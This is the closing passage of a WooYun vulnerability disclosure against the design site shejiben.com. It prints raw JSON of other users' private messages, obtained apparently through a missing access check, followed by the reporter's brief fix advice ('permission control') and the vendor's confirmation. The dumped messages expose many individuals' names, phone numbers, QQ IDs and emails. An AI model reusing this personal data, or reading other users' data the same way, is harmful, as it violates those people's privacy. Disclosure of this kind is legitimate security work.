欢迎您来合作洽谈,返点快,返点额度高!18638154802","new":"1"},{"id":"360986","uid":"1561638","nick":"清华学府","headphoto":"http:\/\/pic.shejiben.com\/user\/38\/headphoto_1561638.jpg?1411378141","indentity":"1","puttime":"14-10-10","puttime1":"2014-10-10 09:12","endtime":0,"subject":"","message":"诚邀参加10月17-19日由清华美术学院主办《当代环境艺术设计实战研讨班》,主讲老师:聂影、马怡西","new":"1"},{"id":"356624","uid":"1580195","nick":"個亼箛單","headphoto":"http:\/\/www.shejiben.com\/img\/headphoto\/noheadphoto.gif","indentity":"0","puttime":"14-09-30","puttime1":"2014-09-30 08:41","endtime":0,"subject":"","message":"你好 请问客厅石材的,电视镶嵌在里面的哪张效果图,电视背景墙是大理石还是瓷砖?还有沙发背景墙是什么材质?","new":"1"},{"id":"353201","uid":"1546221","nick":"王俊_0074","headphoto":"http:\/\/www.shejiben.com\/img\/headphoto\/noheadphoto.gif","indentity":"0","puttime":"14-09-26","puttime1":"2014-09-26 16:28","endtime":0,"subject":"","message":"您好,我是东莞凯禾工程家具\/销售王俊,期待与您的合作。谢谢!QQ:1106035093 手机:18617228859","new":"1"},{"id":"352067","uid":"1569605","nick":"ppll3498","headphoto":"http:\/\/www.shejiben.com\/img\/headphoto\/noheadphoto.gif","indentity":"0","puttime":"14-09-24","puttime1":"2014-09-24 17:59","endtime":0,"subject":"","message":"我接受邀请看到了你的设计,非常喜欢,特别是东南亚风格的那套。不过你怎样为外省业主进行设计呢,没有到现场的话如何知道朝向、光线等对家居的影响呢","new":"1"},{"id":"345871","uid":"1545503","nick":"Emery","headphoto":"http:\/\/pic.shejiben.com\/user\/3\/headphoto_1545503.jpg?1410417225","indentity":"0","puttime":"14-09-17","puttime1":"2014-09-17 13:39","endtime":0,"subject":"","message":"官老师 您好\n新锐艺术品电商MoArt.cn,邀请您成为合作设计师,让MoArt成为您空间搭配的首选。MoArt是中国最大的艺术交易平台,产品库超过千幅艺术家版权签约作品,搭配各等级装裱。\t美凯龙、多家四季酒店、国际学校都选择MoArt作为墙面装饰,个人业主客单价均在万元以上。经过您设计选用或推荐的产品一经售出,您都会得到大约产品售价20%的佣金。或以协议底价购的方式合作。\t另外, MoArt利用自有平台和媒体资源,尽力为极富创造力的设计师提供作品展示机会和专访,甚至专题创作的可能。\t如接受MoArt的合作或有兴趣了解更多,请回复邮件至hancong@moart.cn,获取详细介绍及合作协议","new":"1"}]}}


y2.png


{"login":1,"result":{"allnum":22,"message":[{"id":"431911","uid":"1687046","nick":"地暖空调","headphoto":"http:\/\/pic.shejiben.com\/user\/46\/sjb_headphoto_1687046.jpg?1416839566","indentity":"0","puttime":"14-12-28","puttime1":"2014-12-28 14:07","endtime":0,"subject":"","message":"您好  我是做地暖,暖气,中央空调,智能家居的,居然之家有店,希望能和您合作,您看您方便时我去给您送份资料,鼎固暖通小许13811505514","new":"1"},{"id":"423887","uid":"1292678","nick":"易营造优雅生活","headphoto":"http:\/\/www.shejiben.com\/img\/headphoto\/noheadphoto.gif","indentity":"1","puttime":"14-12-10","puttime1":"2014-12-10 15:40","endtime":0,"subject":"","message":"【易营造,软装配饰全面解决方案提供者。】\n您好!您是否需要为客户直观展示您的设计方案?\n您通过浏览http:\/\/4006126121.114.qq.com\/ndetail_1970.html,在页面主题【家居软装配饰方案】中,您可以看到我司所做的“抛砖引玉”的参考方案。\n在我司方案的基础上,通过您的奇思妙想,可生发出万千变换,从而满足客户的个性化需求。\n如您告知具体的项目设计需求,我们会为您做出专属于您的【家居软装配饰方案】。\n如需要了解详情,请您添加腾讯QQ号码【4006126121】垂询!","new":"1"},{"id":"388088","uid":"1523140","nick":"汲墨图形工作室陈永熙","headphoto":"http:\/\/pic.shejiben.com\/user\/40\/headphoto_1523140.jpg?1409194248","indentity":"1","puttime":"14-11-07","puttime1":"2014-11-07 18:42","endtime":0,"subject":"","message":"在过往的制作经验中,最纠结的莫过于设计师们的一个小要求:“家具能再欧式一点吗?”这时候,我会脸红,无言以对。因为巧妇难为无米之炊啊。现在好了,局面有了根本的改观。一大批原创欧式家具模型充实了汲墨的模型库。它们样式经典,制作精美,款式齐全。它们的出现一举改变了欧式室内虚拟再现的生态。这是汲墨几年潜心努力的结果。以我们的经验,应用这些模型构建的欧式空间,可以具有纯正的欧洲韵味。业主的认可度会翻倍。会大大提高方案的成交率。现在,谁要再问我:“家具能再欧式一点吗?”我可能就会这样说:“再欧式一点,你就到土耳其了。”欢迎访问汲墨的QQ相册,那里有汲墨的家具图录和案例。汲墨的QQ:898485212","new":"1"},{"id":"338664","uid":"1003781","nick":"鸳鸯奏","headphoto":"http:\/\/www.shejiben.com\/img\/headphoto\/noheadphoto.gif","indentity":"1","puttime":"14-09-08","puttime1":"2014-09-08 18:04","endtime":0,"subject":"","message":"你好","new":"1"},{"id":"293404","uid":"422884","nick":"余娜","headphoto":"http:\/\/www.shejiben.com\/img\/headphoto\/noheadphoto.gif","indentity":"1","puttime":"14-07-25","puttime1":"2014-07-25 14:41","endtime":0,"subject":"","message":"●您好,很高兴认识您,伊甸效果图表现【服务高端,质优价廉】\n●客服QQ:840564446\n●作品网址: http:\/\/blog.sina.com.cn\/eden31,有空来看看,希望能与您合作!","new":"1"},{"id":"286356","uid":"1421249","nick":"袁晓波","headphoto":"http:\/\/www.shejiben.com\/img\/headphoto\/noheadphoto.gif","indentity":"0","puttime":"14-07-17","puttime1":"2014-07-17 16:05","endtime":0,"subject":"","message":"您好,广州慧和-凹得家具定制厂,专业定制样板间、售楼中心、会所、星级酒店、别墅等家具。欢迎咨询定制13822130249 袁先生 更多精彩内容请添加QQ 1261346117 或 关注微信 huihejiaju6117。希望有机会合作。","new":"1"},{"id":"278191","uid":"1423713","nick":"朗和怡家北京","headphoto":"http:\/\/pic.shejiben.com\/user\/13\/headphoto_1423713.jpg?1404365816","indentity":"1","puttime":"14-07-06","puttime1":"2014-07-06 12:02","endtime":0,"subject":"","message":"地暖DIY铺设新模式预测\n 随着地暖越来越被人们认识,地暖的普及速度正在加快,迫切需要地暖的人也越来越多。但是,铺设地暖的费用相对还是比较高,如何才能降低铺设费用呢?朗和怡家认为,DIY地暖的推出,为解决这个问题提供了方便.通常讲三分安装七分设计,我们非常赞同这个说法。在互联网飞速发展的今天,设计工作的相互支援已经是非常方便了,因此,我们可以想象得到,一个对地暖毫无经验的人,可以通过互联网获得帮助和获得专业人士的设计,设计很重要,设计已不是问题。 施工没有太多的技术要求,只要稍有经验就能做得很好,没有经验也可以照猫画虎把它完成。或许是您自己DIY,也可能您请专门的施工工人来做,那么专门的地暖铺","new":"1"},{"id":"268275","uid":"1405424","nick":"杯子","headphoto":"http:\/\/www.shejiben.com\/img\/headphoto\/noheadphoto.gif","indentity":"0","puttime":"14-06-26","puttime1":"2014-06-26 09:37","endtime":0,"subject":"","message":"邀  请  函\nhttps:\/\/app.yinxiang.com\/shard\/s40\/sh\/8d9d1a1c-00ae-4e24-84cf-9bb9f0cc6dfd\/c5bdb8b076f8b0b3291ae7ab16b2ac05","new":"1"},{"id":"265527","uid":"1402366","nick":"叶朋_5782","headphoto":"http:\/\/pic.shejiben.com\/user\/66\/headphoto_1402366.jpg?1404096653","indentity":"0","puttime":"14-06-23","puttime1":"2014-06-23 17:16","endtime":0,"subject":"","message":"铭筑舍计诚聘高级设计师加盟","new":"1"},{"id":"264100","uid":"1406936","nick":"密室安全室","headphoto":"http:\/\/pic.shejiben.com\/user\/36\/headphoto_1406936.jpg?1403106586","indentity":"1","puttime":"14-06-21","puttime1":"2014-06-21 13:57","endtime":0,"subject":"","message":"你好香港狼牙国际,主要针对会所别墅,做密室安全室。\n提供整套别墅逃生方案!\n联系人:邱永方\nQQ      1801072783\n电话:  13311221489 18610672081","new":"1"},{"id":"254034","uid":"1288166","nick":"彩绘控","headphoto":"http:\/\/pic.shejiben.com\/user\/66\/headphoto_1288166.jpg?1405399042","indentity":"1","puttime":"14-06-09","puttime1":"2014-06-09 14:10","endtime":0,"subject":"","message":"您好,我们是彩绘控,专注高端壁画,墙绘,期待合作!","new":"1"},{"id":"242001","uid":"1352469","nick":"合肥叶朋","headphoto":"http:\/\/www.shejiben.com\/img\/headphoto\/noheadphoto.gif","indentity":"1","puttime":"14-05-22","puttime1":"2014-05-22 12:58","endtime":0,"subject":"","message":"铭筑舍计诚聘高级设计师合作,网络接单及设计;联系QQ;597358301","new":"1"},{"id":"230380","uid":"1125574","nick":"LGZ:in金康","headphoto":"http:\/\/pic.shejiben.com\/user\/74\/headphoto_1125574.jpg?1399443106","indentity":"1","puttime":"14-05-08","puttime1":"2014-05-08 10:09","endtime":0,"subject":"","message":"您好,我是LG Hausys 铝木窗部门的金康。希望今后能有合作的机会!18888852554","new":"1"},{"id":"220673","uid":"1002049","nick":"沈强","headphoto":"http:\/\/pic.shejiben.com\/user\/49\/headphoto_1002049.jpg?1398268044","indentity":"0","puttime":"14-04-24","puttime1":"2014-04-24 01:19","endtime":0,"subject":"","message":"您好:很高兴可以认识您,我叫沈强,安徽人。在北京专业从事 酒店、宾馆、办公、别墅、餐饮、夜总会、量贩KTV装饰工程,希望能与您合作,资源整合共同学习、共同发展。如有意请致电13552392088--沈强","new":"1"},{"id":"200502","uid":"1261926","nick":"WALLIFE","headphoto":"http:\/\/pic.shejiben.com\/user\/26\/headphoto_1261926.jpg?1395972473","indentity":"0","puttime":"14-03-28","puttime1":"2014-03-28 09:48","endtime":0,"subject":"","message":"你好,我是壁纸厂家,希望有机会我们可以合作,电话:13581639956,13681007630.QQ:927568816","new":"1"},{"id":"180733","uid":"996640","nick":"勇者家居设计","headphoto":"http:\/\/pic.shejiben.com\/user\/40\/headphoto_996640.jpg?1382162752","indentity":"1","puttime":"14-03-03","puttime1":"2014-03-03 22:04","endtime":0,"subject":"","message":"勇者图像  专业效果图制作  联系QQ305235069  可长期合作  (活动期间还可享受免费或优惠哦)","new":"1"},{"id":"166305","uid":"1152152","nick":"颠覆的王国","headphoto":"http:\/\/pic.shejiben.com\/user\/52\/headphoto_1152152.jpg?1390379789","indentity":"0","puttime":"14-02-07","puttime1":"2014-02-07 09:20","endtime":0,"subject":"","message":"您好,我是福建省南安市锦坤石业有限公司的小李。我司有全国独家代理的进口石材,真诚期待与您的合作!打扰之处敬请原谅,谢谢!","new":"1"},{"id":"155955","uid":"696563","nick":"诚信是金_9604","headphoto":"http:\/\/www.shejiben.com\/img\/headphoto\/noheadphoto.gif","indentity":"1","puttime":"13-12-28","puttime1":"2013-12-28 19:15","endtime":0,"subject":"","message":"您好:我是北京恒泰伟业装饰公司的邹工,希望能与您合作,高提成,清一色安徽江苏施工队,手艺非常好,在京施工十五年,经验丰富!联系电话:13910539799","new":"1"},{"id":"129486","uid":"1047387","nick":"HNID","headphoto":"http:\/\/www.shejiben.com\/img\/headphoto\/noheadphoto.gif","indentity":"0","puttime":"13-11-17","puttime1":"2013-11-17 16:16","endtime":0,"subject":"","message":"特邀您加入湖南省室内设计师协会,湖南省室内设计师协会的成立,标志着湖南室内设计业已发展到一个新的高度,并受到政府和社会各界的广泛关注。首批会员(免收会费)具有历史性的价值意义,作为湖南省从事室内设计的专业人才,更要积极参与,为把湖南打造成为中国室内设计强省,我们一起努力吧! 欢迎致力于室内设计的设计精英毛遂自荐! 湖南省室内设计师协会筹备委员会联系人:刘志勇电 话:13975857300 QQ群: 281557515 180380431 来源:中装新网:http:\/\/www.cbda.cn\/html\/jd\/20131106\/32578.html","new":"1"},{"id":"118962","uid":"1027202","nick":"k浪潮","headphoto":"http:\/\/www.shejiben.com\/img\/headphoto\/noheadphoto.gif","indentity":"0","puttime":"13-11-04","puttime1":"2013-11-04 20:55","endtime":0,"subject":"","message":"你好,我是宝路莎磁砖小何,你们要用到磁砖吗","new":"1"}]}}


y3.png


{"login":1,"result":{"allnum":10,"message":[{"id":"392917","uid":"1292678","nick":"易营造优雅生活","headphoto":"http:\/\/www.shejiben.com\/img\/headphoto\/noheadphoto.gif","indentity":"1","puttime":"14-11-11","puttime1":"2014-11-11 16:54","endtime":0,"subject":"","message":"您好!【易营造】为您的设计工作助力,我们提供软装饰品“一站式”服务,各种风格,所有品类,如有需要请联系我们,添加腾讯QQ号码【4006126121】即可!","new":"1"},{"id":"301245","uid":"1471712","nick":"晓说_8058","headphoto":"http:\/\/www.shejiben.com\/img\/headphoto\/noheadphoto.gif","indentity":"0","puttime":"14-07-30","puttime1":"2014-07-30 16:56","endtime":0,"subject":"","message":"您好,我是中山勤辉照明有限公司的项目经理熊先生,我们专注现代简约风格的灯饰设计与制造,曾服务过万科,保利,中海等知名房地产公司,正与天猫商城展开战略合作,现真诚的邀请您与我司进行合作共事电商,希望能配合到您的工作,为您带来可观的收益,如您有兴趣请联系QQ:1204826649,电话:13380871010\n首页-勤辉家居专营店-天猫Tmall.com http:\/\/qinhuijj.tmall.com\/?spm=a220o.1000855.w5001-7550138386.4.3eBOiN","new":"1"},{"id":"285577","uid":"1421249","nick":"袁晓波","headphoto":"http:\/\/www.shejiben.com\/img\/headphoto\/noheadphoto.gif","indentity":"0","puttime":"14-07-16","puttime1":"2014-07-16 18:02","endtime":0,"subject":"","message":"您好,广州慧和-凹得家具定制厂,专业定制样板间、售楼中心、会所、星级酒店、别墅等家具。欢迎咨询定制13822130249 袁先生 更多精彩内容请添加QQ 1261346117 或 关注微信 huihejiaju6117。希望有机会合作。","new":"1"},{"id":"263337","uid":"1405528","nick":"凹得家具","headphoto":"http:\/\/pic.shejiben.com\/user\/28\/sjb_headphoto_1405528.jpg?1416218617","indentity":"1","puttime":"14-06-20","puttime1":"2014-06-20 17:24","endtime":0,"subject":"","message":"你好!我是慧和定制家具项目经理左小姐,我们专注别墅、私人豪宅、样板房、酒店、会所等家具定制,曾服务过万科、保利、中海、绿地、星河湾、龙湖等知名房地产公司,希望以后能配合到你的工作。QQ:1906735201,联系电话:13533885782","new":"1"},{"id":"246343","uid":"1355223","nick":"谴天怒世","headphoto":"http:\/\/pic.shejiben.com\/user\/23\/headphoto_1355223.jpg?1400470995","indentity":"1","puttime":"14-05-27","puttime1":"2014-05-27 15:39","endtime":0,"subject":"","message":"你好,我是中山美之光灯饰厂的刘天俊,我们公司是专业生产酒店工程非标灯具的厂家,希望能有机会一起合作,这是我的电话,18520817274,qq8526753022,谢谢,qq空间里有我们公司的部分产品图册","new":"1"},{"id":"230297","uid":"1125574","nick":"LGZ:in金康","headphoto":"http:\/\/pic.shejiben.com\/user\/74\/headphoto_1125574.jpg?1399443106","indentity":"1","puttime":"14-05-08","puttime1":"2014-05-08 09:43","endtime":0,"subject":"","message":"您好,我是LG Hausys 铝木窗部门的金康。希望今后能有合作的机会!18888852554","new":"1"},{"id":"215693","uid":"14754","nick":"倪国良","headphoto":"http:\/\/pic.shejiben.com\/user\/54\/headphoto_14754.jpg?1378092223","indentity":"1","puttime":"14-04-18","puttime1":"2014-04-18 10:10","endtime":0,"subject":"","message":"设计师您好!布丁效果图表现 http:\/\/poddin-g.taobao.com 最低价450,有需要可以联系我 QQ:993562201 也可以回复私信,希望长期合作。","new":"1"},{"id":"180493","uid":"996640","nick":"勇者家居设计","headphoto":"http:\/\/pic.shejiben.com\/user\/40\/headphoto_996640.jpg?1382162752","indentity":"1","puttime":"14-03-03","puttime1":"2014-03-03 21:29","endtime":0,"subject":"","message":"勇者图像  专业效果图制作  联系QQ305235069  可长期合作  (活动期间还可享受免费或优惠哦)","new":"1"},{"id":"167875","uid":"1056931","nick":"Alonelyman","headphoto":"http:\/\/pic.shejiben.com\/user\/31\/sjb_headphoto_1056931.jpg?1419756710","indentity":"1","puttime":"14-02-12","puttime1":"2014-02-12 12:30","endtime":0,"subject":"","message":"好","new":"1"},{"id":"234512","uid":"1255827","nick":"花旗设计","headphoto":"http:\/\/pic.shejiben.com\/user\/27\/headphoto_1255827.jpg?1399884820","indentity":"1","puttime":"14-05-13","puttime1":"2014-05-13 11:10","endtime":0,"subject":"","message":"你好啊美女","new":0}]}}

修复方案:

权限控制,其它的你们懂,后面会来更好的!请认真确认漏洞谢谢!

版权声明:转载请注明来源 hkAssassin@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-01-23 09:29

厂商回复:

感谢报告

最新状态:

暂无